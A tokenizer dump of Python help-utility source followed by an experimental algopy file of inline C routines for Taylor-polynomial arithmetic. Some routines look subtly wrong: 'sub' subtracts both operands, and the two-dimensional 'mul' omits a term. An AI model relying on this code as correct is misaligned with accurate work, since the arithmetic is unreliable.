4, 1673, 11), woosh.Token(woosh.OP, ':', 1673, 11, 1673, 12), woosh.Token(woosh.NEWLINE, '\r\n', 1673, 12, 1674, 0), woosh.Token(woosh.INDENT, ' ', 1674, 0, 1674, 8), woosh.Token(woosh.NAME, 'if', 1674, 8, 1674, 10), woosh.Token(woosh.NAME, 'tty', 1674, 11, 1674, 14), woosh.Token(woosh.OP, ':', 1674, 14, 1674, 15), woosh.Token(woosh.NEWLINE, '\r\n', 1674, 15, 1675, 0), woosh.Token(woosh.INDENT, ' ', 1675, 0, 1675, 12), woosh.Token(woosh.NAME, 'tty', 1675, 12, 1675, 15), woosh.Token(woosh.OP, '.', 1675, 15, 1675, 16), woosh.Token(woosh.NAME, 'tcsetattr', 1675, 16, 1675, 25), woosh.Token(woosh.OP, '(', 1675, 25, 1675, 26), woosh.Token(woosh.NAME, 'fd', 1675, 26, 1675, 28), woosh.Token(woosh.OP, ',', 1675, 28, 1675, 29), woosh.Token(woosh.NAME, 'tty', 1675, 30, 1675, 33), woosh.Token(woosh.OP, '.', 1675, 33, 1675, 34), woosh.Token(woosh.NAME, 'TCSAFLUSH', 1675, 34, 1675, 43), woosh.Token(woosh.OP, ',', 1675, 43, 1675, 44), woosh.Token(woosh.NAME, 'old', 1675, 45, 1675, 48), woosh.Token(woosh.OP, ')', 1675, 48, 1675, 49), woosh.Token(woosh.NEWLINE, '\r\n', 1675, 49, 1676, 0), woosh.Token(woosh.DEDENT, '', 1677, 0, 1677, 0), woosh.Token(woosh.DEDENT, '', 1677, 0, 1677, 0), woosh.Token(woosh.DEDENT, '', 1677, 0, 1677, 0), woosh.Token(woosh.NAME, 'def', 1677, 0, 1677, 3), woosh.Token(woosh.NAME, 'plainpager', 1677, 4, 1677, 14), woosh.Token(woosh.OP, '(', 1677, 14, 1677, 15), woosh.Token(woosh.NAME, 'text', 1677, 15, 1677, 19), woosh.Token(woosh.OP, ')', 1677, 19, 1677, 20), woosh.Token(woosh.OP, ':', 1677, 20, 1677, 21), woosh.Token(woosh.NEWLINE, '\r\n', 1677, 21, 1678, 0), woosh.Token(woosh.INDENT, ' ', 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',', 1859, 41, 1859, 42), woosh.Token(woosh.STRING, "'>'", 1859, 43, 1859, 46), woosh.Token(woosh.OP, ',', 1859, 46, 1859, 47), woosh.Token(woosh.STRING, "'<='", 1859, 48, 1859, 52), woosh.Token(woosh.OP, ',', 1859, 52, 1859, 53), woosh.Token(woosh.STRING, "'>='", 1859, 54, 1859, 58), woosh.Token(woosh.OP, ',', 1859, 58, 1859, 59), woosh.Token(woosh.STRING, "'=='", 1859, 60, 1859, 64), woosh.Token(woosh.OP, ',', 1859, 64, 1859, 65), woosh.Token(woosh.STRING, "'!='", 1859, 66, 1859, 70), woosh.Token(woosh.OP, ',', 1859, 70, 1859, 71), woosh.Token(woosh.STRING, "'<>'", 1859, 72, 1859, 76), woosh.Token(woosh.OP, ')', 1859, 76, 1859, 77), woosh.Token(woosh.OP, ',', 1859, 77, 1859, 78), woosh.Token(woosh.STRING, "'COMPARISON'", 1860, 8, 1860, 20), woosh.Token(woosh.OP, ':', 1860, 21, 1860, 22), woosh.Token(woosh.OP, '(', 1860, 23, 1860, 24), woosh.Token(woosh.STRING, "'<'", 1860, 24, 1860, 27), woosh.Token(woosh.OP, ',', 1860, 27, 1860, 28), woosh.Token(woosh.STRING, "'>'", 1860, 29, 1860, 32), woosh.Token(woosh.OP, ',', 1860, 32, 1860, 33), woosh.Token(woosh.STRING, "'<='", 1860, 34, 1860, 38), woosh.Token(woosh.OP, ',', 1860, 38, 1860, 39), woosh.Token(woosh.STRING, "'>='", 1860, 40, 1860, 44), woosh.Token(woosh.OP, ',', 1860, 44, 1860, 45), woosh.Token(woosh.STRING, "'=='", 1860, 46, 1860, 50), woosh.Token(woosh.OP, ',', 1860, 50, 1860, 51), woosh.Token(woosh.STRING, "'!='", 1860, 52, 1860, 56), woosh.Token(woosh.OP, ',', 1860, 56, 1860, 57), woosh.Token(woosh.STRING, "'<>'", 1860, 58, 1860, 62), woosh.Token(woosh.OP, ')', 1860, 62, 1860, 63), woosh.Token(woosh.OP, ',', 1860, 63, 1860, 64), woosh.Token(woosh.STRING, "'UNARY'", 1861, 8, 1861, 15), woosh.Token(woosh.OP, ':', 1861, 16, 1861, 17), woosh.Token(woosh.OP, '(', 1861, 18, 1861, 19), woosh.Token(woosh.STRING, "'-'", 1861, 19, 1861, 22), woosh.Token(woosh.OP, ',', 1861, 22, 1861, 23), woosh.Token(woosh.STRING, "'~'", 1861, 24, 1861, 27), woosh.Token(woosh.OP, ')', 1861, 27, 1861, 28), woosh.Token(woosh.OP, ',', 1861, 28, 1861, 29), woosh.Token(woosh.STRING, "'AUGMENTEDASSIGNMENT'", 1862, 8, 1862, 29), woosh.Token(woosh.OP, ':', 1862, 30, 1862, 31), woosh.Token(woosh.OP, '(', 1862, 32, 1862, 33), woosh.Token(woosh.STRING, "'+='", 1862, 33, 1862, 37), woosh.Token(woosh.OP, ',', 1862, 37, 1862, 38), woosh.Token(woosh.STRING, "'-='", 1862, 39, 1862, 43), woosh.Token(woosh.OP, ',', 1862, 43, 1862, 44), woosh.Token(woosh.STRING, "'*='", 1862, 45, 1862, 49), woosh.Token(woosh.OP, ',', 1862, 49, 1862, 50), woosh.Token(woosh.STRING, "'/='", 1862, 51, 1862, 55), woosh.Token(woosh.OP, ',', 1862, 55, 1862, 56), woosh.Token(woosh.STRING, "'%='", 1862, 57, 1862, 61), woosh.Token(woosh.OP, ',', 1862, 61, 1862, 62), woosh.Token(woosh.STRING, "'&='", 1862, 63, 1862, 67), woosh.Token(woosh.OP, ',', 1862, 67, 1862, 68), woosh.Token(woosh.STRING, "'|='", 1862, 69, 1862, 73), woosh.Token(woosh.OP, ',', 1862, 73, 1862, 74), woosh.Token(woosh.STRING, "'^='", 1863, 32, 1863, 36), woosh.Token(woosh.OP, ',', 1863, 36, 1863, 37), woosh.Token(woosh.STRING, "'<<='", 1863, 38, 1863, 43), woosh.Token(woosh.OP, ',', 1863, 43, 1863, 44), woosh.Token(woosh.STRING, "'>>='", 1863, 45, 1863, 50), woosh.Token(woosh.OP, ',', 1863, 50, 1863, 51), woosh.Token(woosh.STRING, "'**='", 1863, 52, 1863, 57), woosh.Token(woosh.OP, ',', 1863, 57, 1863, 58), woosh.Token(woosh.STRING, "'//='", 1863, 59, 1863, 64), woosh.Token(woosh.OP, ')', 1863, 64, 1863, 65), woosh.Token(woosh.OP, ',', 1863, 65, 1863, 66), woosh.Token(woosh.STRING, "'BITWISE'", 1864, 8, 1864, 17), woosh.Token(woosh.OP, ':', 1864, 18, 1864, 19), woosh.Token(woosh.OP, '(', 1864, 20, 1864, 21), woosh.Token(woosh.STRING, "'<<'", 1864, 21, 1864, 25), woosh.Token(woosh.OP, ',', 1864, 25, 1864, 26), woosh.Token(woosh.STRING, "'>>'", 1864, 27, 1864, 31), woosh.Token(woosh.OP, ',', 1864, 31, 1864, 32), woosh.Token(woosh.STRING, "'&'", 1864, 33, 1864, 36), woosh.Token(woosh.OP, ',', 1864, 36, 1864, 37), woosh.Token(woosh.STRING, "'|'", 1864, 38, 1864, 41), woosh.Token(woosh.OP, ',', 1864, 41, 1864, 42), woosh.Token(woosh.STRING, "'^'", 1864, 43, 1864, 46), woosh.Token(woosh.OP, ',', 1864, 46, 1864, 47), woosh.Token(woosh.STRING, "'~'", 1864, 48, 1864, 51), woosh.Token(woosh.OP, ')', 1864, 51, 1864, 52), woosh.Token(woosh.OP, ',', 1864, 52, 1864, 53), woosh.Token(woosh.STRING, "'COMPLEX'", 1865, 8, 1865, 17), woosh.Token(woosh.OP, ':', 1865, 18, 1865, 19), woosh.Token(woosh.OP, '(', 1865, 20, 1865, 21), woosh.Token(woosh.STRING, "'j'", 1865, 21, 1865, 24), woosh.Token(woosh.OP, ',', 1865, 24, 1865, 25), woosh.Token(woosh.STRING, "'J'", 1865, 26, 1865, 29), woosh.Token(woosh.OP, ')', 1865, 29, 1865, 30), woosh.Token(woosh.OP, '}', 1866, 4, 1866, 5), woosh.Token(woosh.NEWLINE, '\r\n', 1866, 5, 1867, 0), woosh.Token(woosh.NAME, 'symbols', 1867, 4, 1867, 11), woosh.Token(woosh.OP, '=', 1867, 12, 1867, 13), woosh.Token(woosh.OP, '{', 1867, 14, 1867, 15), woosh.Token(woosh.STRING, "'%'", 1868, 8, 1868, 11), woosh.Token(woosh.OP, ':', 1868, 11, 1868, 12), woosh.Token(woosh.STRING, "'OPERATORS FORMATTING'", 1868, 13, 1868, 35), woosh.Token(woosh.OP, ',', 1868, 35, 1868, 36), woosh.Token(woosh.STRING, "'**'", 1869, 8, 1869, 12), woosh.Token(woosh.OP, ':', 1869, 12, 1869, 13), woosh.Token(woosh.STRING, "'POWER'", 1869, 14, 1869, 21), woosh.Token(woosh.OP, ',', 1869, 21, 1869, 22), woosh.Token(woosh.STRING, "','", 1870, 8, 1870, 11), woosh.Token(woosh.OP, ':', 1870, 11, 1870, 12), woosh.Token(woosh.STRING, "'TUPLES LISTS FUNCTIONS'", 1870, 13, 1870, 37), woosh.Token(woosh.OP, ',', 1870, 37, 1870, 38), woosh.Token(woosh.STRING, "'.'", 1871, 8, 1871, 11), woosh.Token(woosh.OP, ':', 1871, 11, 1871, 12), woosh.Token(woosh.STRING, "'ATTRIBUTES FLOAT MODULES OBJECTS'", 1871, 13, 1871, 47), woosh.Token(woosh.OP, ',', 1871, 47, 1871, 48), woosh.Token(woosh.STRING, "'...'", 1872, 8, 1872, 13), woosh.Token(woosh.OP, ':', 1872, 13, 1872, 14), woosh.Token(woosh.STRING, "'ELLIPSIS'", 1872, 15, 1872, 25), woosh.Token(woosh.OP, ',', 1872, 25, 1872, 26), woosh.Token(woosh.STRING, "':'", 1873, 8, 1873, 11), woosh.Token(woosh.OP, ':', 1873, 11, 1873, 12), woosh.Token(woosh.STRING, "'SLICINGS DICTIONARYLITERALS'", 1873, 13, 1873, 42), woosh.Token(woosh.OP, ',', 1873, 42, 1873, 43), woosh.Token(woosh.STRING, "'@'", 1874, 8, 1874, 11), woosh.Token(woosh.OP, ':', 1874, 11, 1874, 12), woosh.Token(woosh.STRING, "'def class'", 1874, 13, 1874, 24), woosh.Token(woosh.OP, ',', 1874, 24, 1874, 25), woosh.Token(woosh.STRING, "'\\\\'", 1875, 8, 1875, 12), woosh.Token(woosh.OP, ':', 1875, 12, 1875, 13), woosh.Token(woosh.STRING, "'STRINGS'", 1875, 14, 1875, 23), woosh.Token(woosh.OP, ',', 1875, 23, 1875, 24), woosh.Token(woosh.STRING, "'_'", 1876, 8, 1876, 11), woosh.Token(woosh.OP, ':', 1876, 11, 1876, 12), woosh.Token(woosh.STRING, "'PRIVATENAMES'", 1876, 13, 1876, 27), woosh.Token(woosh.OP, ',', 1876, 27, 1876, 28), woosh.Token(woosh.STRING, "'__'", 1877, 8, 1877, 12), woosh.Token(woosh.OP, ':', 1877, 12, 1877, 13), woosh.Token(woosh.STRING, "'PRIVATENAMES SPECIALMETHODS'", 1877, 14, 1877, 43), woosh.Token(woosh.OP, ',', 1877, 43, 1877, 44), woosh.Token(woosh.STRING, "'`'", 1878, 8, 1878, 11), woosh.Token(woosh.OP, ':', 1878, 11, 1878, 12), woosh.Token(woosh.STRING, "'BACKQUOTES'", 1878, 13, 1878, 25), woosh.Token(woosh.OP, ',', 1878, 25, 1878, 26), woosh.Token(woosh.STRING, "'('", 1879, 8, 1879, 11), woosh.Token(woosh.OP, ':', 1879, 11, 1879, 12), woosh.Token(woosh.STRING, "'TUPLES FUNCTIONS CALLS'", 1879, 13, 1879, 37), woosh.Token(woosh.OP, ',', 1879, 37, 1879, 38), woosh.Token(woosh.STRING, "')'", 1880, 8, 1880, 11), woosh.Token(woosh.OP, ':', 1880, 11, 1880, 12), woosh.Token(woosh.STRING, "'TUPLES FUNCTIONS CALLS'", 1880, 13, 1880, 37), woosh.Token(woosh.OP, ',', 1880, 37, 1880, 38), woosh.Token(woosh.STRING, "'['", 1881, 8, 1881, 11), woosh.Token(woosh.OP, ':', 1881, 11, 1881, 12), woosh.Token(woosh.STRING, "'LISTS SUBSCRIPTS SLICINGS'", 1881, 13, 1881, 40), woosh.Token(woosh.OP, ',', 1881, 40, 1881, 41), woosh.Token(woosh.STRING, "']'", 1882, 8, 1882, 11), woosh.Token(woosh.OP, ':', 1882, 11, 1882, 12), woosh.Token(woosh.STRING, "'LISTS SUBSCRIPTS SLICINGS'", 1882, 13, 1882, 40), woosh.Token(woosh.OP, '}', 1883, 4, 1883, 5), woosh.Token(woosh.NEWLINE, '\r\n', 1883, 5, 1884, 0), woosh.Token(woosh.NAME, 'for', 1884, 4, 1884, 7), woosh.Token(woosh.NAME, 'topic', 1884, 8, 1884, 13), woosh.Token(woosh.OP, ',', 1884, 13, 1884, 14), woosh.Token(woosh.NAME, 'symbols_', 1884, 15, 1884, 23), woosh.Token(woosh.NAME, 'in', 1884, 24, 1884, 26), woosh.Token(woosh.NAME, '_symbols_inverse', 1884, 27, 1884, 43), woosh.Token(woosh.OP, '.', 1884, 43, 1884, 44), woosh.Token(woosh.NAME, 'items', 1884, 44, 1884, 49), woosh.Token(woosh.OP, '(', 1884, 49, 1884, 50), woosh.Token(woosh.OP, ')', 1884, 50, 1884, 51), woosh.Token(woosh.OP, ':', 1884, 51, 1884, 52), woosh.Token(woosh.NEWLINE, '\r\n', 1884, 52, 1885, 0), woosh.Token(woosh.INDENT, ' ', 1885, 0, 1885, 8), woosh.Token(woosh.NAME, 'for', 1885, 8, 1885, 11), woosh.Token(woosh.NAME, 'symbol', 1885, 12, 1885, 18), woosh.Token(woosh.NAME, 'in', 1885, 19, 1885, 21), woosh.Token(woosh.NAME, 'symbols_', 1885, 22, 1885, 30), woosh.Token(woosh.OP, ':', 1885, 30, 1885, 31), woosh.Token(woosh.NEWLINE, '\r\n', 1885, 31, 1886, 0), woosh.Token(woosh.INDENT, ' ', 1886, 0, 1886, 12), woosh.Token(woosh.NAME, 'topics', 1886, 12, 1886, 18), woosh.Token(woosh.OP, '=', 1886, 19, 1886, 20), woosh.Token(woosh.NAME, 'symbols', 1886, 21, 1886, 28), woosh.Token(woosh.OP, '.', 1886, 28, 1886, 29), woosh.Token(woosh.NAME, 'get', 1886, 29, 1886, 32), woosh.Token(woosh.OP, '(', 1886, 32, 1886, 33), woosh.Token(woosh.NAME, 'symbol', 1886, 33, 1886, 39), woosh.Token(woosh.OP, ',', 1886, 39, 1886, 40), woosh.Token(woosh.NAME, 'topic', 1886, 41, 1886, 46), woosh.Token(woosh.OP, ')', 1886, 46, 1886, 47), woosh.Token(woosh.NEWLINE, '\r\n', 1886, 47, 1887, 0), woosh.Token(woosh.NAME, 'if', 1887, 12, 1887, 14), woosh.Token(woosh.NAME, 'topic', 1887, 15, 1887, 20), woosh.Token(woosh.NAME, 'not', 1887, 21, 1887, 24), woosh.Token(woosh.NAME, 'in', 1887, 25, 1887, 27), woosh.Token(woosh.NAME, 'topics', 1887, 28, 1887, 34), woosh.Token(woosh.OP, ':', 1887, 34, 1887, 35), woosh.Token(woosh.NEWLINE, '\r\n', 1887, 35, 1888, 0), woosh.Token(woosh.INDENT, ' ', 1888, 0, 1888, 16), woosh.Token(woosh.NAME, 'topics', 1888, 16, 1888, 22), woosh.Token(woosh.OP, '=', 1888, 23, 1888, 24), woosh.Token(woosh.NAME, 'topics', 1888, 25, 1888, 31), woosh.Token(woosh.OP, '+', 1888, 32, 1888, 33), woosh.Token(woosh.STRING, "' '", 1888, 34, 1888, 37), woosh.Token(woosh.OP, '+', 1888, 38, 1888, 39), woosh.Token(woosh.NAME, 'topic', 1888, 40, 1888, 45), woosh.Token(woosh.NEWLINE, '\r\n', 1888, 45, 1889, 0), woosh.Token(woosh.DEDENT, ' ', 1889, 0, 1889, 12), woosh.Token(woosh.NAME, 'symbols', 1889, 12, 1889, 19), woosh.Token(woosh.OP, '[', 1889, 19, 1889, 20), woosh.Token(woosh.NAME, 'symbol', 1889, 20, 1889, 26), woosh.Token(woosh.OP, ']', 1889, 26, 1889, 27), woosh.Token(woosh.OP, '=', 1889, 28, 1889, 29), woosh.Token(woosh.NAME, 'topics', 1889, 30, 1889, 36), woosh.Token(woosh.NEWLINE, '\r\n', 1889, 36, 1890, 0), woosh.Token(woosh.DEDENT, ' ', 1891, 0, 1891, 4), woosh.Token(woosh.DEDENT, '', 1891, 4, 1891, 4), woosh.Token(woosh.NAME, 'topics', 1891, 4, 1891, 10), woosh.Token(woosh.OP, '=', 1891, 11, 1891, 12), woosh.Token(woosh.OP, '{', 1891, 13, 1891, 14), woosh.Token(woosh.STRING, "'TYPES'", 1892, 8, 1892, 15), woosh.Token(woosh.OP, ':', 1892, 15, 1892, 16), woosh.Token(woosh.OP, '(', 1892, 17, 1892, 18), woosh.Token(woosh.STRING, "'types'", 1892, 18, 1892, 25), woosh.Token(woosh.OP, ',', 1892, 25, 1892, 26), woosh.Token(woosh.STRING, "'STRINGS UNICODE NUMBERS SEQUENCES MAPPINGS '", 1892, 27, 1892, 72), woosh.Token(woosh.STRING, "'FUNCTIONS CLASSES MODULES FILES inspect'", 1893, 18, 1893, 59), woosh.Token(woosh.OP, ')', 1893, 59, 1893, 60), woosh.Token(woosh.OP, ',', 1893, 60, 1893, 61), woosh.Token(woosh.STRING, "'STRINGS'", 1894, 8, 1894, 17), woosh.Token(woosh.OP, ':', 1894, 17, 1894, 18), woosh.Token(woosh.OP, '(', 1894, 19, 1894, 20), woosh.Token(woosh.STRING, "'strings'", 1894, 20, 1894, 29), woosh.Token(woosh.OP, ',', 1894, 29, 1894, 30), woosh.Token(woosh.STRING, "'str UNICODE SEQUENCES STRINGMETHODS '", 1894, 31, 1894, 69), woosh.Token(woosh.STRING, "'FORMATTING TYPES'", 1895, 20, 1895, 38), woosh.Token(woosh.OP, ')', 1895, 38, 1895, 39), woosh.Token(woosh.OP, ',', 1895, 39, 1895, 40), woosh.Token(woosh.STRING, "'STRINGMETHODS'", 1896, 8, 1896, 23), woosh.Token(woosh.OP, ':', 1896, 23, 1896, 24), woosh.Token(woosh.OP, '(', 1896, 25, 1896, 26), woosh.Token(woosh.STRING, "'string-methods'", 1896, 26, 1896, 42), woosh.Token(woosh.OP, ',', 1896, 42, 1896, 43), woosh.Token(woosh.STRING, "'STRINGS FORMATTING'", 1896, 44, 1896, 64), woosh.Token(woosh.OP, ')', 1896, 64, 1896, 65), woosh.Token(woosh.OP, ',', 1896, 65, 1896, 66), woosh.Token(woosh.STRING, "'FORMATTING'", 1897, 8, 1897, 20), woosh.Token(woosh.OP, ':', 1897, 20, 1897, 21), woosh.Token(woosh.OP, '(', 1897, 22, 1897, 23), woosh.Token(woosh.STRING, "'formatstrings'", 1897, 23, 1897, 38), woosh.Token(woosh.OP, ',', 1897, 38, 1897, 39), woosh.Token(woosh.STRING, "'OPERATORS'", 1897, 40, 1897, 51), woosh.Token(woosh.OP, ')', 1897, 51, 1897, 52), woosh.Token(woosh.OP, ',', 1897, 52, 1897, 53), woosh.Token(woosh.STRING, "'UNICODE'", 1898, 8, 1898, 17), woosh.Token(woosh.OP, ':', 1898, 17, 1898, 18), woosh.Token(woosh.OP, '(', 1898, 19, 1898, 20), woosh.Token(woosh.STRING, "'strings'", 1898, 20, 1898, 29), woosh.Token(woosh.OP, ',', 1898, 29, 1898, 30), woosh.Token(woosh.STRING, "'encodings unicode SEQUENCES STRINGMETHODS '", 1898, 31, 1898, 75), woosh.Token(woosh.STRING, "'FORMATTING TYPES'", 1899, 20, 1899, 38), woosh.Token(woosh.OP, ')', 1899, 38, 1899, 39), woosh.Token(woosh.OP, ',', 1899, 39, 1899, 40), woosh.Token(woosh.STRING, "'NUMBERS'", 1900, 8, 1900, 17), woosh.Token(woosh.OP, ':', 1900, 17, 1900, 18), woosh.Token(woosh.OP, '(', 1900, 19, 1900, 20), woosh.Token(woosh.STRING, "'numbers'", 1900, 20, 1900, 29), woosh.Token(woosh.OP, ',', 1900, 29, 1900, 30), woosh.Token(woosh.STRING, "'INTEGER FLOAT COMPLEX TYPES'", 1900, 31, 1900, 60), woosh.Token(woosh.OP, ')', 1900, 60, 1900, 61), woosh.Token(woosh.OP, ',', 1900, 61, 1900, 62), woosh.Token(woosh.STRING, "'INTEGER'", 1901, 8, 1901, 17), woosh.Token(woosh.OP, ':', 1901, 17, 1901, 18), woosh.Token(woosh.OP, '(', 1901, 19, 1901, 20), woosh.Token(woosh.STRING, "'integers'", 1901, 20, 1901, 30), woosh.Token(woosh.OP, ',', 1901, 30, 1901, 31), woosh.Token(woosh.STRING, "'int range'", 1901, 32, 1901, 43), woosh.Token(woosh.OP, ')', 1901, 43, 1901, 44), woosh.Token(woosh.OP, ',', 1901, 44, 1901, 45), woosh.Token(woosh.STRING, "'FLOAT'", 1902, 8, 1902, 15), woosh.Token(woosh.OP, ':', 1902, 15, 1902, 16), woosh.Token(woosh.OP, '(', 1902, 17, 1902, 18), woosh.Token(woosh.STRING, "'floating'", 1902, 18, 1902, 28), woosh.Token(woosh.OP, ',', 1902, 28, 1902, 29), woosh.Token(woosh.STRING, "'float math'", 1902, 30, 1902, 42), woosh.Token(woosh.OP, ')', 1902, 42, 1902, 43), woosh.Token(woosh.OP, ',', 1902, 43, 1902, 44), woosh.Token(woosh.STRING, "'COMPLEX'", 1903, 8, 1903, 17), woosh.Token(woosh.OP, ':', 1903, 17, 1903, 18), woosh.Token(woosh.OP, '(', 1903, 19, 1903, 20), woosh.Token(woosh.STRING, "'imaginary'", 1903, 20, 1903, 31), woosh.Token(woosh.OP, ',', 1903, 31, 1903, 32), woosh.Token(woosh.STRING, "'complex cmath'", 1903, 33, 1903, 48), woosh.Token(woosh.OP, ')', 1903, 48, 1903, 49), woosh.Token(woosh.OP, ',', 1903, 49, 1903, 50), woosh.Token(woosh.STRING, "'SEQUENCES'", 1904, 8, 1904, 19), woosh.Token(woosh.OP, ':', 1904, 19, 1904, 20), woosh.Token(woosh.OP, '(', 1904, 21, 1904, 22), woosh.Token(woosh.STRING, "'typesseq'", 1904, 22, 1904, 32), woosh.Token(woosh.OP, ',', 1904, 32, 1904, 33), woosh.Token(woosh.STRING, "'STRINGMETHODS FORMATTING range LISTS'", 1904, 34, 1904, 72), woosh.Token(woosh.OP, ')', 1904, 72, 1904, 73), woosh.Token(woosh.OP, ',', 1904, 73, 1904, 74), woosh.Token(woosh.STRING, "'MAPPINGS'", 1905, 8, 1905, 18), woosh.Token(woosh.OP, ':', 1905, 18, 1905, 19), woosh.Token(woosh.STRING, "'DICTIONARIES'", 1905, 20, 1905, 34), woosh.Token(woosh.OP, ',', 1905, 34, 1905, 35), woosh.Token(woosh.STRING, "'FUNCTIONS'", 1906, 8, 1906, 19), woosh.Token(woosh.OP, ':', 1906, 19, 1906, 20), woosh.Token(woosh.OP, '(', 1906, 21, 1906, 22), woosh.Token(woosh.STRING, "'typesfunctions'", 1906, 22, 1906, 38), woosh.Token(woosh.OP, ',', 1906, 38, 1906, 39), woosh.Token(woosh.STRING, "'def TYPES'", 1906, 40, 1906, 51), woosh.Token(woosh.OP, ')', 1906, 51, 1906, 52), woosh.Token(woosh.OP, ',', 1906, 52, 1906, 53), woosh.Token(woosh.STRING, "'METHODS'", 1907, 8, 1907, 17), woosh.Token(woosh.OP, ':', 1907, 17, 1907, 18), woosh.Token(woosh.OP, '(', 1907, 19, 1907, 20), woosh.Token(woosh.STRING, "'typesmethods'", 1907, 20, 1907, 34), woosh.Token(woosh.OP, ',', 1907, 34, 1907, 35), woosh.Token(woosh.STRING, "'class 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To quit this help utility and\r\nreturn to the interpreter, just type "quit".\r\n\r\nTo get a list of available modules, keywords, symbols, or topics, type\r\n"modules", "keywords", "symbols", or "topics". Each module also comes\r\nwith a one-line summary of what it does; to list the modules whose name\r\nor summary contain a given string such as "spam", type "modules spam".\r\n\'\'\'', 2063, 26, 2077, 3), woosh.Token(woosh.OP, '.', 2077, 3, 2077, 4), woosh.Token(woosh.NAME, 'format', 2077, 4, 2077, 10), woosh.Token(woosh.OP, '(', 2077, 10, 2077, 11), woosh.Token(woosh.STRING, "'%d.%d'", 2077, 11, 2077, 18), woosh.Token(woosh.OP, '%', 2077, 19, 2077, 20), woosh.Token(woosh.NAME, 'sys', 2077, 21, 2077, 24), woosh.Token(woosh.OP, '.', 2077, 24, 2077, 25), woosh.Token(woosh.NAME, 'version_info', 2077, 25, 2077, 37), woosh.Token(woosh.OP, '[', 2077, 37, 2077, 38), woosh.Token(woosh.OP, ':', 2077, 38, 2077, 39), woosh.Token(woosh.NUMBER, '2', 2077, 39, 2077, 40), woosh.Token(woosh.OP, ']', 2077, 40, 2077, 41), woosh.Token(woosh.OP, ')', 2077, 41, 2077, 42), woosh.Token(woosh.OP, ')', 2077, 42, 2077, 43), woosh.Token(woosh.NEWLINE, '\r\n', 2077, 43, 2078, 0), woosh.Token(woosh.DEDENT, ' ', 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5,298

py

Python

experimental/c_implementations.py

arthus701/algopy

1e2430f803289bbaed6bbdff6c28f98d7767835c

[ "Unlicense" ]

54

2015-03-05T13:38:08.000Z

2021-11-29T11:54:48.000Z

experimental/c_implementations.py

arthus701/algopy

1e2430f803289bbaed6bbdff6c28f98d7767835c

[ "Unlicense" ]

7

2016-04-06T11:25:00.000Z

2020-11-09T13:53:20.000Z

experimental/c_implementations.py

arthus701/algopy

1e2430f803289bbaed6bbdff6c28f98d7767835c

[ "Unlicense" ]

13

2015-01-17T17:05:56.000Z

2021-08-05T01:13:16.000Z

import instant c_code_adouble__imul__ = """ void mul( int tmp_lhs, double *lhs, int Ndim_lhs, int * Dims_lhs, double *lhs_tc, double rhs, int Ndim_rhs, int * Dims_rhs, double *rhs_tc){ if(Ndim_lhs == 1){ const int D = Dims_lhs[0]; const int E = Dims_rhs[0]; for(int d=D-1; d >= 0; --d){ lhs_tc[d] *= rhs; const int e = (0<=d-E)*(d-E); for(int k = e; k < d; ++k){ lhs_tc[d] += lhs_tc[k] * rhs_tc[d-1-e-k]; } if(d<E){ lhs_tc[d] += lhs[0] * rhs_tc[d]; } } lhs[0]*= rhs; } else if(Ndim_lhs == 2){ const int D = Dims_lhs[0]; const int E = Dims_rhs[0]; const int Ndir = Dims_lhs[1]; for(int d=D-1; d >= 0; --d){ for(int n = 0; n != Ndir; ++n){ lhs_tc[d*Ndir + n] *= rhs; } const int e = (0<=d-E)*(d-E); for(int k = e; k < d; ++k){ for(int n = 0; n != Ndir; ++n){ lhs_tc[d*Ndir+n] += lhs_tc[k*Ndir + n] * rhs_tc[(d-1-e-k)*Ndir+n]; } } if(d<E){ for(int n = 0; n != Ndir; ++n){ lhs_tc[d*Ndir+n] += lhs[0] * rhs_tc[d*Ndir+n]; } } } lhs[0]*= rhs; } } """ c_code_adouble__add__ = """ void add(int Ndim_lhs, int * Dims_lhs, double *lhs, int Ndim_rhs, int * Dims_rhs, double *rhs, int Ndim_result, int * Dims_result, double *result){ if(Ndim_lhs == 2){ const int D = Dims_lhs[0]; const int Ndir = Dims_lhs[1]; for(int d=0; d != D; ++d){ for(int n=0; n != Ndir; ++n){ result[d*Ndir + n] += lhs[d*Ndir+n]; result[d*Ndir + n] += rhs[d*Ndir+n]; } } } else{ const int D = Dims_lhs[0]; for(int d=0; d != D; ++d){ result[d] += lhs[d]; result[d] += rhs[d]; } } } """ c_code_adouble__sub__ = """ void sub(int Ndim_lhs, int * Dims_lhs, double *lhs, int Ndim_rhs, int * Dims_rhs, double *rhs, int Ndim_result, int * Dims_result, double *result){ if(Ndim_lhs == 2){ const int D = Dims_lhs[0]; const int Ndir = Dims_lhs[1]; for(int d=0; d != D; ++d){ for(int n=0; n != Ndir; ++n){ result[d*Ndir + n] -= lhs[d*Ndir+n]; result[d*Ndir + n] -= rhs[d*Ndir+n]; } } } else{ const int D = Dims_lhs[0]; for(int d=0; d != D; ++d){ result[d] -= lhs[d]; result[d] -= rhs[d]; } } } """ c_code_adouble__mul__ = """ void mul(int Ndim_lhs, int * Dims_lhs, double *lhs, int Ndim_rhs, int * Dims_rhs, double *rhs, int Ndim_result, int * Dims_result, double *result){ if(Ndim_lhs == 2){ const int D = Dims_lhs[0]; const int Ndir = Dims_lhs[1]; for(int d=0; d != D; ++d){ for(int k = 0; k != d; ++k){ for(int n=0; n != Ndir; ++n){ result[d*Ndir + n] += lhs[k*Ndir+n] * rhs[(d-k)*Ndir+n]; } } } } else{ const int D = Dims_lhs[0]; for(int d=0; d != D; ++d){ for(int k = 0; k <= d; ++k){ result[d] += lhs[k] * rhs[d-k]; } } } } """ c_code_adouble__div__ = """ void div(int Ndim_lhs, int * Dims_lhs, double *lhs, int Ndim_rhs, int * Dims_rhs, double *rhs, int Ndim_result, int * Dims_result, double *result){ if(Ndim_lhs == 2){ const int D = Dims_lhs[0]; const int Ndir = Dims_lhs[1]; for(int d=0; d != D; ++d){ for(int n=0; n != Ndir; ++n){ result[d*Ndir+n]+=lhs[d*Ndir+n]; } for(int k=0; k!=d; ++k){ for(int n=0; n != Ndir; ++n){ result[d*Ndir + n] -= result[k*Ndir + n]*rhs[(d-k)*Ndir + n]; } } for(int n=0; n != Ndir; ++n){ result[d*Ndir + n] /= rhs[0+n]; } } } else{ const int D = Dims_lhs[0]; for(int d=0; d != D; ++d){ result[d]+=lhs[d]; for(int k=0; k!=d; ++k){ result[d] -= result[k]*rhs[d-k]; } result[d] /= rhs[0]; } } } """ adouble__add__ = instant.inline_with_numpy(c_code_adouble__add__, arrays=[['Ndim_lhs', 'Dims_lhs', 'lhs'], ['Ndim_rhs', 'Dims_rhs', 'rhs'], ['Ndim_result', 'Dims_result', 'result']] ) adouble__sub__ = instant.inline_with_numpy(c_code_adouble__sub__, arrays=[['Ndim_lhs', 